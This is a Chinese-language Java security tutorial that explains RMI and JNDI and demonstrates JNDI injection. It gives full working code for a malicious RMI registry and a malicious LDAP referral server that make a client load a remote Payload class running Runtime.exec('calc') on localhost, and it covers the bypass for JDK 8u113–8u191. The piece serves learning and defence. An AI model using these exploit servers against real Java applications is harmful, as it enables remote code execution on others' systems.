前言: 在学习JAVA安全的路上有许多不顺利的地方,早早就听闻RMI,JNDI注入。最初我作为一个初学者,以为JNDI注入是不是就是类似sql注入和ongl表达式注入那样在某个输入框输入payload直接就触发然后就命令执行,带出数据xxx或者执行其他操作.但是当我初次研究后,处于一脸懵逼的状态,他好像比我想象中的复杂,接触初期觉得复杂肯定不是因为背后的代码有多么复杂,而是被概念搞混。本篇文章将会又最基本的概念解释开始讲起,逐渐深入其实现原理。
什么是RMI? RMI全称(Java Remote Method Invocation)JAVA远程方法调用,顾名思义,RMI是一个行为 ,我们把在一个JVM中调用另一个JVM中的JAVA方法的这种行为 称之为RMI。
要完成RMI这个行为,我们分为三个步骤
1.Client-客户端 调用服务端方法
2.Server-服务端 给客户端提供方法进行调用注:代码将在服务端执行,而不是客户端。客户端获得的只是方法在客户端执行后的返回值
3.Register-注册中心 :本质是一个map,里面保存着客户端查询要调用的方法的引用
举个例子,下面编写两个程序,一个程序A,一个程序B,他们将会运行在各自的JVM中:
程序A:存在一个能被B远程调用的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.Remote;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;interface HelloService extends Remote { String sayHello () throws RemoteException ; } class HelloServiceImpl extends UnicastRemoteObject implements HelloService { protected HelloServiceImpl () throws RemoteException { } public String sayHello () throws RemoteException { System.out.println("此处在程序A中被调用" ); System.out.println(Runtime.getRuntime()); return "程序B接收到返回值!" ; } } public class A { public static void main (String[] args) throws RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("hello" , new HelloServiceImpl()); } }
代码解释:
创建了一个HelloService的接口,继承自Remote,因为RMI是一个双方进行通信的行为,所以他们双方都必须继承于Remote,Remote是用来进行远程调用的
1 2 3 interface HelloService extends Remote { String sayHello () throws RemoteException ; }
创建一个HelloServiceImpl类,这个接口需要继承制UnicastRemoteObject并且实现我们刚刚的创建的接口
UnicastRemoteObject:在实例化HelloServiceImpl类时,由于继承自UnicastRemoteObject,UnicastRemoteObject会将HelloServiceImpl对象导出,返回它的stub(stub称之为存根,是他的一个代理,可以理解为HelloServiceImp的一个复制品,这个复制品是保存在RMI注册服务中的)
1 2 3 4 5 6 7 8 9 class HelloServiceImpl extends UnicastRemoteObject implements HelloService { protected HelloServiceImpl () throws RemoteException { } public String sayHello () throws RemoteException { System.out.println("此处在程序A中被调用" ); return "程序B接收到返回值!" ; } }
在1099端口上启动registry服务并且将HelloServiceImpl的存根绑定到服务上,并且取名为hello
1 2 Registry registry = LocateRegistry.createRegistry(1099 ); registry.bind("hello" , new HelloServiceImpl());
程序B:用来调用远程方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;interface HelloService extends Remote { String sayHello () throws RemoteException ; } public class B { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); HelloService helloService = (HelloService) registry.lookup("hello" ); System.out.println(helloService.sayHello()); System.out.println(Runtime.getRuntime()); } }
代码解释:
同样需要定义一个HelloService接口继承自Remote,用于接受前面registery绑定的HelloServiceImpl存根
1 2 3 interface HelloService extends Remote { String sayHello () throws RemoteException ; }
获取registry并调用lookup从RMIService那拿到实现类,获取返回值并且输出
1 2 3 Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); HelloService helloService = (HelloService) registry.lookup("hello" ); System.out.println(helloService.sayHello());
让我们来看看执行结果:
首先运行A(Server),然后运行程序B(Client)
程序A运行结果:
程序B运行结果:
结合刚刚我们的代码可以证实,我们调用的sayHello方法实在程序A中调用的,程序B仅仅只是获得了sayHello方法的返回值并且输出
JRMP :JRMP是一个在TCP/IP协议基础上实现的协议,就相当于web请求这样一个行为用到http协议一样,RMI的这样一个行为会用到JRMP协议
什么是JNDI? JNDI(Java Naming and Directory Interface)JAVA命名和目录的接口。顾名思义,JNDI本质上是一个接口,这个接口是来干啥的呢?JNDI这个接口下会有很多目录系统服务的实现,rmi,ldap就是实现JNDI的接口的系统目录服务.这就是为啥每次提及到JNDI我们就不可避免的提到RMI和ladp等目录系统服务。
JNDI注入发展阶段:网上流传了一张图,直接拿过来用了
由于RMI配合JNDI的使用存在安全隐患,JAVA也在自己的升级中从源码层面进行了拦截和修复,但是也都衍生出了对应的绕过方式,下面一一进行分析。
动态加载恶意类不是很常见,直接从JNDI开始入手
6U132/7U122/8U113阶段:RMI-JNDI注入 此阶段的意思就是通过JNDI接口提供的方法(InitialContext().lookup)去代替通过registry.lookup注册中心获取数据调用的lookup方法
服务端代码
创建注册中心,创造一个Reference,Refernce的三个参数含义分别是:
1.指定需要加载的class文件名:去指定网络路径下载Payload.class文件
2.指定需要加载的类名:加载Payload.class文件中的Payload类
3.指定寻找class文件的路径
实例化一个referenceWarpper,将这个referenceWarpper绑定到对应字符串上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class C { public static void main (String[] args) throws RemoteException, AlreadyBoundException, NamingException { Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference("Payload" , "Payload" , "http://127.0.0.1:80/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("hello" , referenceWrapper); System.out.println("C:" +Runtime.getRuntime()); } }
客户端代码
调用InitialContext的lookup方法查找对应关系
1 2 3 4 5 6 7 8 9 10 import javax.naming.InitialContext;import javax.naming.NamingException;import java.io.IOException;public class D { public static void main (String[] args) throws IOException, ClassNotFoundException, NamingException { System.out.println("D:" +Runtime.getRuntime()); new InitialContext().lookup("rmi://127.0.0.1:1099/hello" ); } }
payload代码:
编写了一个Payload类并在其静态代码块中放入我们要执行的代码,将其编译为class文件,然后将其放入web目录下,我这里起了一个apache,将Payload.class直接放在了web根目录,直接访问http://127.0.0.1/Payload.class就能直接下载到对应字节码文件
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException;public class Payload { static { try { System.out.println("payload:" +Runtime.getRuntime()); Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } }
运行服务端,客户端后成功运行如下输出:
服务端:
客户端:
可以看到静态代码块中的内容执行了,从输出的Runtime中也可以看到payload中的代码是在客户端当中执行的,和之前的”在服务端中执行并将返回值返回给客户端”不一致。
在利用的时候我们可控的是客户端代码,当服务器上的客户端代码中的lookup内容被我们控制,我们就能自己写一个服务端,让客户端去访问我们的恶意服务端,从而达到在服务器客户端上执行代码的效果
8u113-8u191阶段LDAP-JNDI注入 在8U131之后,RMI-JNDI被JAVA官方修复,可以使用LDAP-JNDI进行绕过,LDAP也是一种目录访问协议
服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;public class server { private static final String LDAP_BASE = "dc=example,dc=com" ; private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor (URL cb) { this .codebase = cb; } protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this .codebase, this .codebase.getRef().replace('.' , '/' ).concat("" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Calc" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if (refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0 , ResultCode.SUCCESS)); } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } } public static void run () { int port = 1099 ; String url = "http://localhost/#Payload" ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } public static void main (String[] args) { run(); } }
客户端代码:
1 2 3 4 5 6 7 8 9 10 import javax.naming.InitialContext;import javax.naming.NamingException;import java.io.IOException;public class D { public static void main (String[] args) throws IOException, ClassNotFoundException, NamingException { System.out.println("D:" +Runtime.getRuntime()); new InitialContext().lookup("ldap://127.0.0.1:1099/hello" ); } }
运行结果:可以看到与RMI-JNDI一样,恶意代码运行在了客户端